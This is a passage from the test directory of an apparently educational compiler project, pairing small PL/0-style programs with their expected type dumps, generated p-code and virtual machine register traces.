| binary_op = NEQ 17 | | | | | binary_left = VariableFactor 18 | | | | | | ershov = 1 19 | | | | | | datatype = bool 20 | | | | | | variable_symbol = .x 21 | | | | | | variable = x 22 | | | | | binary_right = BooleanFactor 23 | | | | | | ershov = 1 24 | | | | | | datatype = bool 25 | | | | | | boolean_value = true 26 | -------------------------------------------------------------------------------- /project/tests/project3/var_int.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | write x <> 2 3 | -------------------------------------------------------------------------------- /project/tests/project3/var_int.types: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @0 3 | TranslationUnit 4 | | scope = 5 | | block = Block 6 | | | vardecls = TypedIdentList 7 | | | | TypedIdent 8 | | | | | symbol = .x 9 | | | | | identifier = x 10 | | | | | type = INT 11 | | | funcdecls = FuncDeclList 12 | | | statement = WriteStatement 13 | | | | write_expression = BinaryExpression 14 | | | | | ershov = 2 15 | | | | | datatype = bool 16 | | | | | binary_op = NEQ 17 | | | | | binary_left = VariableFactor 18 | | | | | | ershov = 1 19 | | | | | | datatype = int 20 | | | | | | variable_symbol = .x 21 | | | | | | variable = x 22 | | | | | binary_right = NumberFactor 23 | | | | | | ershov = 1 24 | | | | | | datatype = int 25 | | | | | | number_value = 2 26 | -------------------------------------------------------------------------------- /project/tests/project4/arithmetic.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | addi sp sp 1 3 | br 1 4 | movi r0 8 5 | st r0 fp 1 6 | movi r0 3 7 | st r0 fp 2 8 | ld r0 fp 2 9 | ld r1 fp 1 10 | div r0 r1 r0 11 | ld r1 fp 2 12 | add r0 r0 r1 13 | movi r1 3 14 | mod r0 r0 r1 15 | ld r1 fp 1 16 | add r0 r0 r1 17 | ld r1 fp 2 18 | sub r0 r0 r1 19 | st r0 fp 1 20 | ld r0 fp 1 21 | wr r0 22 | ld r0 fp 2 23 | wr r0 24 | hlt 25 | -------------------------------------------------------------------------------- /project/tests/project4/arithmetic.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | var y : int 3 | 4 | begin 5 | x := 8 6 | y := 3 7 | x := (((((x / y) + y) % 3) + x) - y) 8 | write x 9 | write y 10 | end 11 | -------------------------------------------------------------------------------- /project/tests/project4/assign.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 1 3 | movi r0 2 4 | st r0 fp 1 5 | hlt 6 | -------------------------------------------------------------------------------- /project/tests/project4/assign.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | x := 2 4 | -------------------------------------------------------------------------------- /project/tests/project4/assign.vmout: -------------------------------------------------------------------------------- 1 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 2 | mem[i]: 0 3 | i: 0 4 | fp: fp 5 | sp: sp 6 | (ip=0) addi sp sp 1 7 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=1, ln(r14)=0, ip(r15)=0 8 | mem[i]: 0| 0 9 | i: 0| 1 10 | fp: fp| 11 | sp: | sp 12 | (ip=1) br 1 13 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=1, ln(r14)=0, ip(r15)=1 14 | mem[i]: 0| 0 15 | i: 0| 1 16 | fp: fp| 17 | sp: | sp 18 | (ip=2) movi r0 2 19 | registers: r0=2, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=1, ln(r14)=0, ip(r15)=2 20 | mem[i]: 0| 0 21 | i: 0| 1 22 | fp: fp| 23 | sp: | sp 24 | (ip=3) st r0 fp 1 25 | registers: r0=2, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=1, ln(r14)=0, ip(r15)=3 26 | mem[i]: 0| 2 27 | i: 0| 1 28 | fp: fp| 29 | sp: | sp 30 | done 31 | -------------------------------------------------------------------------------- /project/tests/project4/assign_write.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 1 3 | movi r0 2 4 | st r0 fp 1 5 | ld r0 fp 1 6 | wr r0 7 | hlt 8 | -------------------------------------------------------------------------------- /project/tests/project4/assign_write.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | begin 4 | x := 2 5 | write x 6 | end 7 | -------------------------------------------------------------------------------- /project/tests/project4/bge.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 1 3 | movi r1 1 4 | cmp r1 r0 5 | bge 3 6 | movi r0 0 7 | br 2 8 | movi r0 1 9 | wr r0 10 | movi r0 1 11 | movi r1 2 12 | cmp r1 r0 13 | bge 3 14 | movi r0 0 15 | br 2 16 | movi r0 1 17 | wr r0 18 | movi r0 2 19 | movi r1 1 20 | cmp r1 r0 21 | bge 3 22 | movi r0 0 23 | br 2 24 | movi r0 1 25 | wr r0 26 | hlt 27 | -------------------------------------------------------------------------------- /project/tests/project4/bge.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | write 1 >= 1 3 | write 2 >= 1 4 | write 1 >= 2 5 | end 6 | -------------------------------------------------------------------------------- /project/tests/project4/bgt.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 1 3 | movi r1 1 4 | cmp r1 r0 5 | bgt 3 6 | movi r0 0 7 | br 2 8 | movi r0 1 9 | wr r0 10 | movi r0 1 11 | movi r1 2 12 | cmp r1 r0 13 | bgt 3 14 | movi r0 0 15 | br 2 16 | movi r0 1 17 | wr r0 18 | movi r0 2 19 | movi r1 1 20 | cmp r1 r0 21 | bgt 3 22 | movi r0 0 23 | br 2 24 | movi r0 1 25 | wr r0 26 | hlt 27 | -------------------------------------------------------------------------------- /project/tests/project4/bgt.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | write 1 > 1 3 | write 2 > 1 4 | write 1 > 2 5 | end 6 | -------------------------------------------------------------------------------- /project/tests/project4/ble.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 2 3 | movi r1 2 4 | cmp r1 r0 5 | ble 3 6 | movi r0 0 7 | br 2 8 | movi r0 1 9 | wr r0 10 | movi r0 1 11 | movi r1 2 12 | cmp r1 r0 13 | ble 3 14 | movi r0 0 15 | br 2 16 | movi r0 1 17 | wr r0 18 | movi r0 2 19 | movi r1 1 20 | cmp r1 r0 21 | ble 3 22 | movi r0 0 23 | br 2 24 | movi r0 1 25 | wr r0 26 | hlt 27 | -------------------------------------------------------------------------------- /project/tests/project4/ble.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | write 2 <= 2 3 | write 2 <= 1 4 | write 1 <= 2 5 | end 6 | -------------------------------------------------------------------------------- /project/tests/project4/blt.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 2 3 | movi r1 2 4 | cmp r1 r0 5 | blt 3 6 | movi r0 0 7 | br 2 8 | movi r0 1 9 | wr r0 10 | movi r0 2 11 | movi r1 1 12 | cmp r1 r0 13 | blt 3 14 | movi r0 0 15 | br 2 16 | movi r0 1 17 | wr r0 18 | movi r0 1 19 | movi r1 2 20 | cmp r1 r0 21 | blt 3 22 | movi r0 0 23 | br 2 24 | movi r0 1 25 | wr r0 26 | hlt 27 | -------------------------------------------------------------------------------- /project/tests/project4/blt.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | write 2 < 2 3 | write 1 < 2 4 | write 2 < 1 5 | end 6 | -------------------------------------------------------------------------------- /project/tests/project4/bne.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 1 3 | movi r1 1 4 | cmp r1 r0 5 | bne 3 6 | movi r0 0 7 | br 2 8 | movi r0 1 9 | wr r0 10 | movi r0 1 11 | movi r1 2 12 | cmp r1 r0 13 | bne 3 14 | movi r0 0 15 | br 2 16 | movi r0 1 17 | wr r0 18 | movi r0 2 19 | movi r1 1 20 | cmp r1 r0 21 | bne 3 22 | movi r0 0 23 | br 2 24 | movi r0 1 25 | wr r0 26 | hlt 27 | -------------------------------------------------------------------------------- /project/tests/project4/bne.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | write 1 <> 1 3 | write 2 <> 1 4 | write 1 <> 2 5 | end 6 | -------------------------------------------------------------------------------- /project/tests/project4/div.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 2 3 | movi r1 8 4 | div r0 r1 r0 5 | wr r0 6 | hlt 7 | -------------------------------------------------------------------------------- /project/tests/project4/div.pl0: -------------------------------------------------------------------------------- 1 | write 8 / 2 2 | -------------------------------------------------------------------------------- /project/tests/project4/div.vmout: -------------------------------------------------------------------------------- 1 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 2 | mem[i]: 0 3 | i: 0 4 | fp: fp 5 | sp: sp 6 | (ip=0) br 1 7 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 8 | mem[i]: 0 9 | i: 0 10 | fp: fp 11 | sp: sp 12 | (ip=1) movi r0 2 13 | registers: r0=2, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=1 14 | mem[i]: 0 15 | i: 0 16 | fp: fp 17 | sp: sp 18 | (ip=2) movi r1 8 19 | registers: r0=2, r1=8, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=2 20 | mem[i]: 0 21 | i: 0 22 | fp: fp 23 | sp: sp 24 | (ip=3) div r0 r1 r0 25 | registers: r0=4, r1=8, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=3 26 | mem[i]: 0 27 | i: 0 28 | fp: fp 29 | sp: sp 30 | (ip=4) wr r0 31 | registers: r0=4, r1=8, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=4 32 | mem[i]: 0 33 | i: 0 34 | fp: fp 35 | sp: sp 36 | done 37 | 4 38 | -------------------------------------------------------------------------------- /project/tests/project4/factorial.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 44 3 | psh ln sp 4 | psh fp sp 5 | mov fp sp 6 | br 1 7 | movi r0 0 8 | ld r1 fp -4 9 | cmp r1 r0 10 | beq 3 11 | movi r0 0 12 | br 2 13 | movi r0 1 14 | cmpi r0 1 15 | bne 8 16 | movi r0 1 17 | st r0 fp -3 18 | mov sp fp 19 | pop fp sp 20 | pop ln sp 21 | ret ln 22 | br 20 23 | addi sp sp 1 24 | movi r0 1 25 | ld r1 fp -4 26 | sub r0 r1 r0 27 | st r0 sp 0 28 | addi sp sp 1 29 | ld r0 fp -2 30 | psh r0 sp 31 | bl -28 32 | subi sp sp 1 33 | pop r0 sp 34 | subi sp sp 1 35 | ld r1 fp -4 36 | mul r0 r1 r0 37 | st r0 fp -3 38 | mov sp fp 39 | pop fp sp 40 | pop ln sp 41 | ret ln 42 | mov sp fp 43 | pop fp sp 44 | pop ln sp 45 | ret ln 46 | movi r0 10 47 | st r0 fp 1 48 | movi r0 1 49 | ld r1 fp 1 50 | cmp r1 r0 51 | bgt 3 52 | movi r0 0 53 | br 2 54 | movi r0 1 55 | cmpi r0 1 56 | bne 16 57 | addi sp sp 1 58 | ld r0 fp 1 59 | st r0 sp 0 60 | addi sp sp 1 61 | psh fp sp 62 | bl -59 63 | subi sp sp 1 64 | pop r0 sp 65 | subi sp sp 1 66 | wr r0 67 | movi r0 1 68 | ld r1 fp 1 69 | sub r0 r1 r0 70 | st r0 fp 1 71 | br -23 72 | hlt 73 | -------------------------------------------------------------------------------- /project/tests/project4/factorial.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | function factorial(x : int) : int 3 | begin 4 | if x = 0 then 5 | return 1 6 | else 7 | return x * factorial(x - 1) 8 | end 9 | begin 10 | x := 10 11 | 12 | while x > 1 do 13 | begin 14 | write factorial(x) 15 | x := x - 1 16 | end 17 | end 18 | 19 | -------------------------------------------------------------------------------- /project/tests/project4/func.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 17 3 | psh ln sp 4 | psh fp sp 5 | mov fp sp 6 | br 1 7 | movi r0 0 8 | wr r0 9 | movi r0 1 10 | st r0 fp -3 11 | mov sp fp 12 | pop fp sp 13 | pop ln sp 14 | ret ln 15 | mov sp fp 16 | pop fp sp 17 | pop ln sp 18 | ret ln 19 | addi sp sp 1 20 | psh fp sp 21 | bl -18 22 | subi sp sp 1 23 | pop r0 sp 24 | movi r0 1 25 | psh r0 sp 26 | addi sp sp 1 27 | psh fp sp 28 | bl -25 29 | subi sp sp 1 30 | pop r1 sp 31 | pop r0 sp 32 | add r0 r1 r0 33 | st r0 fp 1 34 | ld r0 fp 1 35 | wr r0 36 | hlt 37 | -------------------------------------------------------------------------------- /project/tests/project4/func.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | function f() : int 4 | begin 5 | write 0 6 | return 1 7 | end 8 | 9 | begin 10 | f() 11 | x := f() + 1 12 | write x 13 | end 14 | -------------------------------------------------------------------------------- /project/tests/project4/if.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 3 3 | movi r1 2 4 | cmp r1 r0 5 | bgt 3 6 | movi r0 0 7 | br 2 8 | movi r0 1 9 | cmpi r0 1 10 | bne 4 11 | movi r0 0 12 | wr r0 13 | br 1 14 | movi r0 2 15 | movi r1 3 16 | cmp r1 r0 17 | bge 3 18 | movi r0 0 19 | br 2 20 | movi r0 1 21 | cmpi r0 1 22 | bne 4 23 | movi r0 1 24 | wr r0 25 | br 1 26 | movi r0 3 27 | movi r1 2 28 | cmp r1 r0 29 | bgt 3 30 | movi r0 0 31 | br 2 32 | movi r0 1 33 | cmpi r0 1 34 | bne 4 35 | movi r0 2 36 | wr r0 37 | br 3 38 | movi r0 3 39 | wr r0 40 | movi r0 2 41 | movi r1 3 42 | cmp r1 r0 43 | ble 3 44 | movi r0 0 45 | br 2 46 | movi r0 1 47 | cmpi r0 1 48 | bne 4 49 | movi r0 4 50 | wr r0 51 | br 3 52 | movi r0 5 53 | wr r0 54 | movi r0 3 55 | movi r1 2 56 | cmp r1 r0 57 | bne 3 58 | movi r0 0 59 | br 2 60 | movi r0 1 61 | cmpi r0 1 62 | bne 8 63 | movi r0 6 64 | wr r0 65 | movi r0 7 66 | wr r0 67 | movi r0 8 68 | wr r0 69 | br 7 70 | movi r0 9 71 | wr r0 72 | movi r0 10 73 | wr r0 74 | movi r0 11 75 | wr r0 76 | hlt 77 | -------------------------------------------------------------------------------- /project/tests/project4/if.pl0: -------------------------------------------------------------------------------- 1 | begin 2 | if 2 > 3 then write 0 3 | if 3 >= 2 then write 1 4 | if 2 > 3 then write 2 else write 3 5 | if 3 <= 2 then write 4 else write 5 6 | 7 | if 2 <> 3 then 8 | begin 9 | write 6 10 | write 7 11 | write 8 12 | end 13 | else 14 | begin 15 | write 9 16 | write 10 17 | write 11 18 | end 19 | end 20 | -------------------------------------------------------------------------------- /project/tests/project4/loop.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 1 3 | movi r0 10 4 | st r0 fp 1 5 | movi r0 1 6 | ld r1 fp 1 7 | cmp r1 r0 8 | bgt 3 9 | movi r0 0 10 | br 2 11 | movi r0 1 12 | cmpi r0 1 13 | bne 8 14 | ld r0 fp 1 15 | wr r0 16 | movi r0 1 17 | ld r1 fp 1 18 | sub r0 r1 r0 19 | st r0 fp 1 20 | br -15 21 | hlt 22 | -------------------------------------------------------------------------------- /project/tests/project4/loop.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | begin 4 | x := 10 5 | while x > 1 do 6 | begin 7 | write x 8 | x := x - 1 9 | end 10 | end 11 | -------------------------------------------------------------------------------- /project/tests/project4/minus.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 1 3 | movi r1 3 4 | sub r0 r1 r0 5 | wr r0 6 | hlt 7 | -------------------------------------------------------------------------------- /project/tests/project4/minus.pl0: -------------------------------------------------------------------------------- 1 | write 3 - 1 2 | -------------------------------------------------------------------------------- /project/tests/project4/minus.vmout: -------------------------------------------------------------------------------- 1 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 2 | mem[i]: 0 3 | i: 0 4 | fp: fp 5 | sp: sp 6 | (ip=0) br 1 7 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 8 | mem[i]: 0 9 | i: 0 10 | fp: fp 11 | sp: sp 12 | (ip=1) movi r0 1 13 | registers: r0=1, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=1 14 | mem[i]: 0 15 | i: 0 16 | fp: fp 17 | sp: sp 18 | (ip=2) movi r1 3 19 | registers: r0=1, r1=3, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=2 20 | mem[i]: 0 21 | i: 0 22 | fp: fp 23 | sp: sp 24 | (ip=3) sub r0 r1 r0 25 | registers: r0=2, r1=3, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=3 26 | mem[i]: 0 27 | i: 0 28 | fp: fp 29 | sp: sp 30 | (ip=4) wr r0 31 | registers: r0=2, r1=3, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=4 32 | mem[i]: 0 33 | i: 0 34 | fp: fp 35 | sp: sp 36 | done 37 | 2 38 | -------------------------------------------------------------------------------- /project/tests/project4/mod.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 3 3 | movi r1 8 4 | mod r0 r1 r0 5 | wr r0 6 | hlt 7 | -------------------------------------------------------------------------------- /project/tests/project4/mod.pl0: -------------------------------------------------------------------------------- 1 | write 8 % 3 2 | -------------------------------------------------------------------------------- /project/tests/project4/mod.vmout: -------------------------------------------------------------------------------- 1 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 2 | mem[i]: 0 3 | i: 0 4 | fp: fp 5 | sp: sp 6 | (ip=0) br 1 7 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 8 | mem[i]: 0 9 | i: 0 10 | fp: fp 11 | sp: sp 12 | (ip=1) movi r0 3 13 | registers: r0=3, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=1 14 | mem[i]: 0 15 | i: 0 16 | fp: fp 17 | sp: sp 18 | (ip=2) movi r1 8 19 | registers: r0=3, r1=8, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=2 20 | mem[i]: 0 21 | i: 0 22 | fp: fp 23 | sp: sp 24 | (ip=3) mod r0 r1 r0 25 | registers: r0=2, r1=8, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=3 26 | mem[i]: 0 27 | i: 0 28 | fp: fp 29 | sp: sp 30 | (ip=4) wr r0 31 | registers: r0=2, r1=8, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=4 32 | mem[i]: 0 33 | i: 0 34 | fp: fp 35 | sp: sp 36 | done 37 | 2 38 | -------------------------------------------------------------------------------- /project/tests/project4/mult.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 3 3 | movi r1 2 4 | mul r0 r1 r0 5 | wr r0 6 | hlt 7 | -------------------------------------------------------------------------------- /project/tests/project4/mult.pl0: -------------------------------------------------------------------------------- 1 | write 2 * 3 2 | -------------------------------------------------------------------------------- /project/tests/project4/mult.vmout: -------------------------------------------------------------------------------- 1 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 2 | mem[i]: 0 3 | i: 0 4 | fp: fp 5 | sp: sp 6 | (ip=0) br 1 7 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 8 | mem[i]: 0 9 | i: 0 10 | fp: fp 11 | sp: sp 12 | (ip=1) movi r0 3 13 | registers: r0=3, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=1 14 | mem[i]: 0 15 | i: 0 16 | fp: fp 17 | sp: sp 18 | (ip=2) movi r1 2 19 | registers: r0=3, r1=2, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=2 20 | mem[i]: 0 21 | i: 0 22 | fp: fp 23 | sp: sp 24 | (ip=3) mul r0 r1 r0 25 | registers: r0=6, r1=2, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=3 26 | mem[i]: 0 27 | i: 0 28 | fp: fp 29 | sp: sp 30 | (ip=4) wr r0 31 | registers: r0=6, r1=2, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=4 32 | mem[i]: 0 33 | i: 0 34 | fp: fp 35 | sp: sp 36 | done 37 | 6 38 | -------------------------------------------------------------------------------- /project/tests/project4/nested.pcode: -------------------------------------------------------------------------------- 1 | addi sp sp 1 2 | br 28 3 | psh ln sp 4 | psh fp sp 5 | mov fp sp 6 | br 11 7 | psh ln sp 8 | psh fp sp 9 | mov fp sp 10 | br 1 11 | movi r0 0 12 | wr r0 13 | mov sp fp 14 | pop fp sp 15 | pop ln sp 16 | ret ln 17 | movi r0 1 18 | wr r0 19 | addi sp sp 1 20 | psh fp sp 21 | bl -14 22 | subi sp sp 1 23 | pop r0 sp 24 | movi r0 2 25 | wr r0 26 | mov sp fp 27 | pop fp sp 28 | pop ln sp 29 | ret ln 30 | movi r0 3 31 | wr r0 32 | addi sp sp 1 33 | psh fp sp 34 | bl -31 35 | subi sp sp 1 36 | pop r0 sp 37 | movi r0 4 38 | wr r0 39 | hlt 40 | -------------------------------------------------------------------------------- /project/tests/project4/nested.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | function f() 4 | function g() 5 | begin 6 | write 0 7 | end 8 | begin 9 | write 1 10 | g() 11 | write 2 12 | end 13 | 14 | begin 15 | write 3 16 | f() 17 | write 4 18 | end 19 | -------------------------------------------------------------------------------- /project/tests/project4/plus.pcode: -------------------------------------------------------------------------------- 1 | br 1 2 | movi r0 2 3 | movi r1 1 4 | add r0 r1 r0 5 | wr r0 6 | hlt 7 | -------------------------------------------------------------------------------- /project/tests/project4/plus.pl0: -------------------------------------------------------------------------------- 1 | write 1 + 2 2 | -------------------------------------------------------------------------------- /project/tests/project4/plus.vmout: -------------------------------------------------------------------------------- 1 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 2 | mem[i]: 0 3 | i: 0 4 | fp: fp 5 | sp: sp 6 | (ip=0) br 1 7 | registers: r0=0, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=0 8 | mem[i]: 0 9 | i: 0 10 | fp: fp 11 | sp: sp 12 | (ip=1) movi r0 2 13 | registers: r0=2, r1=0, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=1 14 | mem[i]: 0 15 | i: 0 16 | fp: fp 17 | sp: sp 18 | (ip=2) movi r1 1 19 | registers: r0=2, r1=1, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=2 20 | mem[i]: 0 21 | i: 0 22 | fp: fp 23 | sp: sp 24 | (ip=3) add r0 r1 r0 25 | registers: r0=3, r1=1, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=3 26 | mem[i]: 0 27 | i: 0 28 | fp: fp 29 | sp: sp 30 | (ip=4) wr r0 31 | registers: r0=3, r1=1, r2=0, r3=0, r4=0, r5=0, r6=0, r7=0, r8=0, r9=0, r10=0, r11=0, fp(r12)=0, sp(r13)=0, ln(r14)=0, ip(r15)=4 32 | mem[i]: 0 33 | i: 0 34 | fp: fp 35 | sp: sp 36 | done 37 | 3 38 | -------------------------------------------------------------------------------- /project/tests/project4/recursion.pcode: -------------------------------------------------------------------------------- 1 | br 47 2 | psh ln sp 3 | psh fp sp 4 | mov fp sp 5 | br 1 6 | movi r0 1 7 | ld r1 fp -4 8 | cmp r1 r0 9 | ble 3 10 | movi r0 0 11 | br 2 12 | movi r0 1 13 | cmpi r0 1 14 | bne 8 15 | movi r0 1 16 | st r0 fp -3 17 | mov sp fp 18 | pop fp sp 19 | pop ln sp 20 | ret ln 21 | br 1 22 | ld r0 fp -4 23 | wr r0 24 | addi sp sp 1 25 | movi r0 1 26 | ld r1 fp -4 27 | sub r0 r1 r0 28 | st r0 sp 0 29 | addi sp sp 1 30 | ld r0 fp -2 31 | psh r0 sp 32 | bl -30 33 | subi sp sp 1 34 | pop r0 sp 35 | subi sp sp 1 36 | ld r0 fp -4 37 | wr r0 38 | ld r0 fp -4 39 | st r0 fp -3 40 | mov sp fp 41 | pop fp sp 42 | pop ln sp 43 | ret ln 44 | mov sp fp 45 | pop fp sp 46 | pop ln sp 47 | ret ln 48 | movi r0 0 49 | wr r0 50 | addi sp sp 1 51 | movi r0 0 52 | st r0 sp 0 53 | addi sp sp 1 54 | psh fp sp 55 | bl -53 56 | subi sp sp 1 57 | pop r0 sp 58 | subi sp sp 1 59 | movi r0 10 60 | wr r0 61 | addi sp sp 1 62 | movi r0 1 63 | st r0 sp 0 64 | addi sp sp 1 65 | psh fp sp 66 | bl -64 67 | subi sp sp 1 68 | pop r0 sp 69 | subi sp sp 1 70 | movi r0 20 71 | wr r0 72 | addi sp sp 1 73 | movi r0 5 74 | st r0 sp 0 75 | addi sp sp 1 76 | psh fp sp 77 | bl -75 78 | subi sp sp 1 79 | pop r0 sp 80 | subi sp sp 1 81 | movi r0 30 82 | wr r0 83 | hlt 84 | -------------------------------------------------------------------------------- /project/tests/project4/recursion.pl0: -------------------------------------------------------------------------------- 1 | function f(x : int) : int 2 | begin 3 | if x <= 1 then return 1 4 | write x 5 | f(x - 1) 6 | write x 7 | return x 8 | end 9 | 10 | begin 11 | write 0 12 | f(0) 13 | write 10 14 | f(1) 15 | write 20 16 | f(5) 17 | write 30 18 | end 19 | 20 | 21 | -------------------------------------------------------------------------------- /project/tests/project5/assign.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | addi sp sp 1 4 | br 1 5 | movi r0 10 6 | st r0 fp 1 7 | hlt 8 | -------------------------------------------------------------------------------- /project/tests/project5/assign.pl0: -------------------------------------------------------------------------------- 1 | var x : int 2 | 3 | x := 10 -------------------------------------------------------------------------------- /project/tests/project5/assign_multiple.pcode: -------------------------------------------------------------------------------- 1 | scope: , level: 0 2 | x : int @1 3 | y : int @2 4 | z : int @3 5 | addi sp sp 1 6 | addi sp sp 1 7 | addi sp sp 1 8 | br 1 9 | movi r0 10 10 | st r0 fp 1 11 | movi r0 20 12 | st r0 fp 2 13 | movi r0 30 14 | st r0 fp 3 15 | hlt 16 | -------------------------------------------------------------------------------- 